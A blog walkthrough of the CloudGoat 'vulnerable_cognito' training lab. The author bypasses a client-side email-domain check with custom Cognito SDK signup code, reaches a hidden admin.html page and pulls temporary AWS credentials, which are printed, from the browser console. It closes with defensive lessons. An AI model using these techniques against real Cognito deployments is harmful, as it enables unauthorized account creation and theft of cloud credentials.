CloudGoat - vulnerable_cognito

Deploying a secure environment in AWS is like threading a needle in the vast expanse of cloud services—a single misstep can leave you vulnerable to a security breach.
This post will delve into the intricate details of deploying a vulnerable AWS Cognito scenario using CloudGoat and document every twist and turn encountered along the way.

A Sign-In Form with Restrictions

As always, the first step is to deploy the scenario:

$ ./cloudgoat.py create vulnerable_cognito
...
apigateway_url = "https://4j4rg613gk.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidigx3lybttl/index.html"
cloudgoat_output_aws_account_id = "<account_id>"

[cloudgoat] terraform application completed with no error code.

[cloudgoat] terraform output completed with no error code.
apigateway_url = https://4j4rg613gk.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidigx3lybttl/index.html
cloudgoat_output_aws_account_id = <account_id>

[cloudgoat] Output file written to:

    /Users/eduardschwarzkopf/projects/cloudgoat/vulnerable_cognito_cgidigx3lybttl/start.txt

Alright, time to check out the apigateway_url. A Login form. Also a signup form. Nothing too fancy so far. Let's poke around a little bit.
After the first tests, it seems that we are only allowed to sign up with emails ending in @ecorp.com. I don't have that domain, so I need to find another way in.

What about the HTML code for the signup form?

<div class="app-view">  
    <header class="app-header">
      <h1>Vuln Cognito</h1>
      Welcome,<br>
      <span class="app-subheading">
        Signup to continue<br>
      </span>
    </header>
    <input type="text" id="first" placeholder="First Name">
    <input type="text" id="last" placeholder="Last Name">
    <input type="email" id="email" required="" placeholder="Email ([email protected])">
    <!--pattern="[a-zA-Z0-9]{1,40}@ecorp.com"-->
    <input type="password" id="password" required="" placeholder="Password">
    <a class="app-button" onclick="Signup()">Signup</a>
    <div class="app-register">
      Don't have an account? <a href="./index.html">Login</a>
    </div>
  </div>

As you can see there is an onclick event with a Signup function. Interesting. Let's search for it.
After a quick look at the top, I'm able to find this function:


function Signup(){

//  var letters = /[a-zA-Z0-9]{1,40}@ecorp.com/;

  var email = document.getElementById('email').value;
  var Regex = email.search('@ecorp.com');
//  alert(Regex);

  if(Regex == -1) {

    alert("Only Emails from ecorp.com are accepted");
    return false;

  }

  var first = document.getElementById('first').value;
  var last = document.getElementById('last').value;
  var password = document.getElementById('password').value;



  var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
  };


  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);

  var attributeList = [];

  var dataEmail = {
    Name: 'email',
    Value: email,
  };

  var dataFirstName = {
    Name: 'given_name',
    Value: first,
  };

  var dataLastName = {
    Name: 'family_name',
    Value: last,
  };

  var attributeEmail = new AmazonCognitoIdentity.CognitoUserAttribute(dataEmail);
  var attributeFirstName = new AmazonCognitoIdentity.CognitoUserAttribute(dataFirstName);
  var attributeLastName = new AmazonCognitoIdentity.CognitoUserAttribute(dataLastName);

  attributeList.push(attributeEmail);
  attributeList.push(attributeFirstName);
  attributeList.push(attributeLastName);

  userPool.signUp(email, password, attributeList, null, function(
    err,
    result
  ) {
    if (err) {
      alert(err.message || JSON.stringify(err));
      return;
    }
    var cognitoUser = result.user;
    console.log('user name is ' + cognitoUser.getUsername());
  });

}

As expected this function is responsible for enforcing the email domain check. But oh my, oh my! It also reveals some information about Cognito: UserPoolId and ClientId. Let's write that down:

  • UserPoolId: us-east-1_VBPiVJR5E
  • ClientId: 2tc0q6pcg2glt9no2hsho0ng1i

A Custom Signup Function: Tailoring Access

Well since I'm in JavaScript world (🤢), I can fiddle around with the code here in the browser console. So, I'm going to make my own signup function with blackjack and hookers!

The only thing that stands in our way is the email domain validation. Validation, who needs that, am I right? Let's do a little trick called Defenestration.

So here it is, the MuchBetterSignup function:

function MuchBetterSignup(){

  var email = "[email protected];

  var first = "John";
  var last = "Doe";
  var password = "D6jte%A@ap4B@9&cM$&wH*AcME!27ugj";

  var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
  };


  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);

  var attributeList = [];

  var dataEmail = {
    Name: 'email',
    Value: email,
  };

  var dataFirstName = {
    Name: 'given_name',
    Value: first,
  };

  var dataLastName = {
    Name: 'family_name',
    Value: last,
  };

  var attributeEmail = new AmazonCognitoIdentity.CognitoUserAttribute(dataEmail);
  var attributeFirstName = new AmazonCognitoIdentity.CognitoUserAttribute(dataFirstName);
  var attributeLastName = new AmazonCognitoIdentity.CognitoUserAttribute(dataLastName);

  attributeList.push(attributeEmail);
  attributeList.push(attributeFirstName);
  attributeList.push(attributeLastName);

  userPool.signUp(email, password, attributeList, null, function(
    err,
    result
  ) {
    if (err) {
      alert(err.message || JSON.stringify(err));
      return;
    }
    var cognitoUser = result.user;
    console.log('Custom Signup - user name is ' + cognitoUser.getUsername());
  });

}

Sidenote: I'm using temporary emails from Müllmail.com.

The execution reveals the following:

First try! One step closer to the goal. Let's move on.

User Confirmation and Credential Scrutiny

After successfully executing the MuchBetterSignup function, I received a confirmation code.

Guess, I also need to find a way to confirm this user now. After a little bit of research, it seems that sdk documentation gives me the correct answer:

Ok, so this code should confirm the user:


  var confirmationCode = "557070"

  var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
  };

  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);


var cognitoUser = new AmazonCognitoIdentity.CognitoUser({
   Username: "[email protected]",
   Pool: userPool
  });

  cognitoUser.confirmRegistration(confirmationCode, true, (err, result) => {
   if (err) {
    console.log('error', err.message);
    return;
   }

   console.log('call result: ' + JSON.stringify(result));
  });

Confirmation code to expired. Dang it, it took me too long. I need a new confirmation code. No problemo! This should be easy:

var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);


var cognitoUser = new AmazonCognitoIdentity.CognitoUser({
    Username: "[email protected]",
    Pool: userPool
});


cognitoUser.resendConfirmationCode((error, result) => {
            if (error) {
                console.log('error');
                console.log(error);
                reject(error);
            } else {
                console.log('result');
                console.log(result);
                resolve(result);
            }
        }
);

Well, this is a weird output:

On the first try again!

Now better execute the function with the new confirmation code:

Weird, seems like I've already confirmed that user somehow?! Let's try to log in then:

Success! I'm a Reader!! Whatever that means.

So what we've got here? Time to dive into the code again:

Not anything useful, except the console output. What about the storage?

Alright, looks like a JWT. Let's hop over to jwt.io and check the payload:

Here it is in the full payload:

{
  "sub": "2aacf7a4-05be-4d17-8994-74fad13545ab",
  "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_VBPiVJR5E",
  "client_id": "2tc0q6pcg2glt9no2hsho0ng1i",
  "origin_jti": "cd452c69-3dc2-456e-bd38-466551d5b33e",
  "event_id": "b2f482ed-472a-42e8-99db-f75b9ce9453c",
  "token_use": "access",
  "scope": "aws.cognito.signin.user.admin",
  "auth_time": 1707816500,
  "exp": 1707820100,
  "iat": 1707816500,
  "jti": "c0b9ee8a-1225-49ec-912d-2ca44cc79112",
  "username": "2aacf7a4-05be-4d17-8994-74fad13545ab"
}

The scope seems to be interesting. I mean, admin is always interesting. May be useful later.

Checking the other tokens reveals not that much information. But the idToken is a bit different:

{
  "sub": "2aacf7a4-05be-4d17-8994-74fad13545ab",
  "email_verified": true,
  "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_VBPiVJR5E",
  "cognito:username": "2aacf7a4-05be-4d17-8994-74fad13545ab",
  "given_name": "John",
  "custom:access": "reader",
  "origin_jti": "cd452c69-3dc2-456e-bd38-466551d5b33e",
  "aud": "2tc0q6pcg2glt9no2hsho0ng1i",
  "event_id": "b2f482ed-472a-42e8-99db-f75b9ce9453c",
  "token_use": "id",
  "auth_time": 1707816500,
  "exp": 1707820100,
  "iat": 1707816500,
  "family_name": "Doe",
  "jti": "3e5c0f27-ad36-4b63-a856-48f5294f4ec9",
  "email": "[email protected]"
}

Just all the user data as it seems. But and that is a big but, we've got one interesting attribute here: custom:access.

OK, now what? Maybe I can edit this attribute and write something else to it? you know something like admin.
Since the Sign-Up form gave us access to the SDK, maybe I'm able to use that to edit this value:


var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);


var cognitoUser = new AmazonCognitoIdentity.CognitoUser({
    Username: "[email protected]",
    Pool: userPool
});

var customAttribute = new AmazonCognitoIdentity.CognitoUserAttribute({
        Name: "custom:access",
        Value: "admin"
});

cognitoUser.updateAttributes([customAttribute], function (err, result) {
        console.log({ err, result });
});

Not authenticated. So nothing I can do here.
How about I add a user with the attribute on sign-up?

The Ploy for Admin Access

Alright, let's write a new sign-up function that sets the custom:access value:

function AdminSignup(){

  var email = "[email protected]";

  var first = "John";
  var last = "Doe";
  var password = "D6jte%A@ap4B@9&cM$&wH*AcME!27ugj";

  var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
  };


  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);

  var attributeList = [];

  var dataEmail = {
    Name: 'email',
    Value: email,
  };

  var dataFirstName = {
    Name: 'given_name',
    Value: first,
  };

  var dataLastName = {
    Name: 'family_name',
    Value: last,
  };

  // added
  var dataAdminAccess = {
    Name: 'custom:access',
    Value: 'admin',
  };

  var attributeEmail = new AmazonCognitoIdentity.CognitoUserAttribute(dataEmail);
  var attributeFirstName = new AmazonCognitoIdentity.CognitoUserAttribute(dataFirstName);
  var attributeLastName = new AmazonCognitoIdentity.CognitoUserAttribute(dataLastName);

  var attribueAdminAccess = new AmazonCognitoIdentity.CognitoUserAttribute(dataAdminAccess); // added

  attributeList.push(attributeEmail);
  attributeList.push(attributeFirstName);
  attributeList.push(attributeLastName);

  attributeList.push(attribueAdminAccess); // added

  userPool.signUp(email, password, attributeList, null, function(
    err,
    result
  ) {
    if (err) {
      alert(err.message || JSON.stringify(err));
      return;
    }
    var cognitoUser = result.user;
    console.log('Admin Signup - user name is ' + cognitoUser.getUsername());
  });

}

That worked perfectly. Registering and confirming went smoothly. Now logging in!

Still a 'Reader'?! So that was "ein Schuss in den Ofen".

Hmpf... What now? Upon checking the url I see a reader.html. How about admin.html?

https://4j4rg613gk.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidigx3lybttl/admin.html

I'll be damned, that worked!!

This security by obscurity was a weak one.

Exploiting the System: The Final Play

Well, what can I do here? Checking the source code again reveals something very very juicy:

var poolData = {
  UserPoolId: 'us-east-1_VBPiVJR5E',
  ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);
var cognitoUser = userPool.getCurrentUser();


if (cognitoUser != null) {
	cognitoUser.getSession(function(err, result) {
		if (result) {
			console.log('You are now logged in.');

			//POTENTIAL: Region needs to be set if not already set previously elsewhere.
			AWS.config.region = 'us-east-1';

			// Add the User's Id Token to the Cognito credentials login map.
			AWS.config.credentials = new AWS.CognitoIdentityCredentials({
				IdentityPoolId: 'us-east-1:66ba9fc0-1528-4e33-9482-e9d6216862e7',
				Logins: {
					'cognito-idp.us-east-1.amazonaws.com/us-east-1_VBPiVJR5E': result
						.getIdToken()
						.getJwtToken(),
				},
			});
		}
	});
}
//call refresh method in order to authenticate user and get new temp credentials
AWS.config.credentials.refresh(error => {
	if (error) {
		console.error(error);
	} else {
		console.log('Successfully logged!');
	}
});

Seems like the SDK is back on the menu boys! Even better, it most likely has Admin privileges. Can we get some credentials out of this?
Lucky me, AWS provides a great documentation on how to get credentials from Cognito.

So, when I read that correctly, I should be able to just grab the credentials by simply accessing AWS.config.credentials.

AWS.config.credentials.accessKeyId
"ASIAZQ3DQJ3M4MWPKN75"
AWS.config.credentials.secretAccessKey
"vMQDprUC3c9h3H4PMY7Cunf907vBl6MtNRqfx7jK"
AWS.config.credentials.sessionToken
"IQoJb3JpZ2luX2VjEJz//////////******"

Bingo! That marks the scenario as complete.

Conclusion: A Succesful Endeavor

I was able to extract AWS credentials. Just with a little dirty JavaScript. This shows a seemingly minor misconfiguration can potentially, in combination with a role with excessive permissions, pave the way for unauthorized access, leading to a complete compromise of the system.

The validation of custom attributes on the client side rather than the server side is a fundamental error, revealing that security by obscurity isn't security at all.
Proper server-side validation is a must-have to prevent such easy bypassing of security measures.

It also shows that security by obscurity isn't security at all, especially when your resources have admin in their name.

A single loophole can escalate to full administrative access. The takeaway here: always be meticulous in your configurations to protect your cloud infrastructure from virtual threats.

As promised, now it is time to fix this. This will not only secure your cloud assets but also ensure the integrity and reliability of your operations. Stay tuned for this important update.

Subscribe to Eduard Schwarzkopf

Don’t miss out on the latest issues. Sign up now to get access to the library of members-only issues.
[email protected]
Subscribe